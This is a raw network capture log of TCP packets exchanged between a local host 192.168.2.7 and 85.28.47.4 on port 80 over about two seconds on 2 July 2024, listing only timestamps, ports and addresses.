Jul 2, 2024 12:21:03.872787952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872795105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872807026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872812986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872816086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872827053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872840881 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872859001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873169899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873179913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873191118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873200893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873210907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873213053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873222113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873230934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873231888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873243093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873250008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873270035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873292923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873321056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873331070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873341084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873351097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873361111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873362064 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873370886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873380899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873390913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873390913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873403072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873408079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873414040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873424053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873428106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873435020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873445034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873454094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873456001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.873476982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.873496056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.874130011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874140978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874150038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874160051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874170065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874175072 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.874178886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874187946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.874188900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874200106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874209881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874217033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.874221087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874231100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874239922 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.874242067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874250889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874249935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.874263048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874265909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.874273062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874284029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874286890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.874295950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.874313116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.874341011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959295034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959321022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959333897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959343910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959356070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959367037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959373951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959381104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959403038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959448099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959451914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959491968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959492922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959503889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959537029 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959563971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959575891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959594965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959621906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959625959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959631920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959644079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959651947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959670067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959698915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959821939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959832907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959844112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959853888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959856033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959867001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.959872007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.959908009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960005999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960024118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960035086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960042000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960043907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960053921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960058928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960066080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960083008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960107088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960133076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960144043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960176945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960269928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960279942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960290909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960300922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960310936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960323095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960325003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960333109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960338116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960345030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960366011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960407972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960427046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960464001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960532904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960545063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960555077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960565090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960572958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960576057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960588932 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960618019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960782051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960793018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960803986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960814953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960820913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960825920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960839033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960850000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960859060 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960863113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960872889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.960880041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.960912943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961067915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961078882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961090088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961100101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961108923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961111069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961122036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961141109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961160898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961196899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961232901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961297989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961308956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961319923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961330891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961342096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961342096 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961354017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961374998 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961416960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961592913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961643934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961749077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961760998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961771011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961781979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961787939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961791992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961802959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961812973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961818933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961824894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961834908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961836100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961846113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961850882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961857080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.961869955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.961904049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962095976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962106943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962130070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962130070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962141991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962152004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962162018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962162018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962172985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962183952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962193966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962193966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962204933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962208986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962215900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962225914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962232113 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962240934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962243080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962254047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962270021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962270975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962275982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962280989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962285042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962286949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962301016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962326050 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.962953091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962964058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962974072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962985039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.962996006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963002920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.963005066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963016033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963027000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963030100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.963037014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963047028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963048935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.963057041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963068008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.963068008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963079929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963084936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.963092089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963103056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963108063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.963113070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963125944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963130951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.963136911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963146925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.963161945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.963181019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048120022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048139095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048151016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048193932 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048228025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048237085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048271894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048311949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048324108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048361063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048383951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048394918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048404932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048418999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048441887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048489094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048500061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048511028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048522949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048538923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048543930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048569918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048602104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048621893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048633099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048644066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048654079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048659086 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048665047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048671007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048693895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048718929 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048777103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048789024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048799038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048809052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048819065 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048819065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048852921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048862934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048866987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048877954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.048908949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.048932076 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049009085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049014091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049017906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049025059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049036980 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049037933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049050093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049057007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049060106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049071074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049087048 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049109936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049262047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049299955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049382925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049393892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049405098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049415112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049422026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049424887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049437046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049438000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049447060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049465895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049491882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049649000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049660921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049695969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049738884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049751043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049760103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049772978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049782991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049793959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049803972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049810886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049813986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049833059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049851894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049866915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049884081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049895048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049916983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049917936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.049933910 CEST	80	49699	85.28.47.4	192.168.2.7
